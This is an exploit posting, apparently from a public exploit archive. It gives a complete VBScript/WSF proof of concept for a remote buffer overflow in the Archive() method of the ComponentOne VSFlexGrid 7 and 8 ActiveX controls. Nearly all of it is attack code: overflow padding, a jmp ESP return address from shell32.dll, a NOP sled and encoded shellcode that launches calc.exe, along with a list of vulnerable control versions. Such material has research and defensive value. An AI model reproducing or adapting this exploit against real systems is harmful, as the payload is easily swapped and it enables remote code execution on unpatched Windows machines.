ComponentOne VSFlexGrid 7 / 8 Archive() Buffer Overflow

`# Tilte: ComponentOne VSFlexGrid v. 7 & 8 "Archive()" method Remote Buffer Overflow Exploit  
  
# Date....................: [19-05-2010]  
# Author..................: [Ma3sTr0-Dz]  
# Location ...............: [Algeria]  
# Software ...............: [ComponentOne VSFlexGrid v. 7 & 8]   
# Impact..................: [Remote]  
# Tested On ..............: [Windows sp2 & sp3]  
# Site Software ..........: [http://www.componentone.com]  
# Sptnx ..................: [CmOs_Clr & Ra3ch & Sec4ever Memberz.]  
# Home : .................: [Www.Sec4ever.Com]  
# Contact me : ...........: [[email protected]]  
  
# Vulnerability: Remote Buffer Overflow Exploit  
  
  
# Part ExplOit & Bug Codes :  
  
---  
  
'This ActiveX is marked as:  
'RegKey Safe for Script: False  
'RegKey Safe for Init: False  
'Implements IObjectSafety: True  
'IDisp Safe: Safe for untrusted: caller, data  
'IPStorage Safe: Safe for untrusted: caller, data  
'KillBitSet: False  
  
'This is the list of all vulnerable components:  
'vsflex7L.ocx v. 7.0.1.151  
'vsflex8.ocx v. 8.0.20072.239  
'vsflex8d.ocx v. 8.0.20072.239  
'vsflex8l.ocx v. 8.0.20072.239  
'vsflex8n.ocx v. 8.0.20072.239  
  
<package>  
<job id='vsflex8l' debug='false' error='true'>  
<object classid='clsid:C945E31A-102E-4A0D-8854-D599D7AED5FA' id='vsFlexGrid'/>  
<script language='vbscript'>  
buff = String(268, "A")  
  
get_EIP = unescape("%81%69%A8%7C") 'jmp ESP from shell32.dll  
  
nop = String(12, unescape("%90"))  
  
'execute calc.exe  
  
shellcode = shellcode + unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49")  
shellcode = shellcode + unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36")  
shellcode = shellcode + unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34")  
shellcode = shellcode + unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41")  
shellcode = shellcode + unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54")  
shellcode = shellcode + unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37")  
shellcode = shellcode + unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48")  
shellcode = shellcode + unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38")  
shellcode = shellcode + unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c")  
shellcode = shellcode + unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e")  
shellcode = shellcode + unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48")  
shellcode = shellcode + unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54")  
shellcode = shellcode + unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38")  
shellcode = shellcode + unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43")  
shellcode = shellcode + unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37")  
shellcode = shellcode + unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a")  
shellcode = shellcode + unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b")  
shellcode = shellcode + unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33")  
shellcode = shellcode + unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57")  
shellcode = shellcode + unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49")  
shellcode = shellcode + unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36")  
shellcode = shellcode + unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")  
  
egg = buff + get_EIP + nop + shellcode + nop  
  
vsFlexGrid.Archive egg, "something", 1  
</script>  
</job>  
</package>  
  
---  
`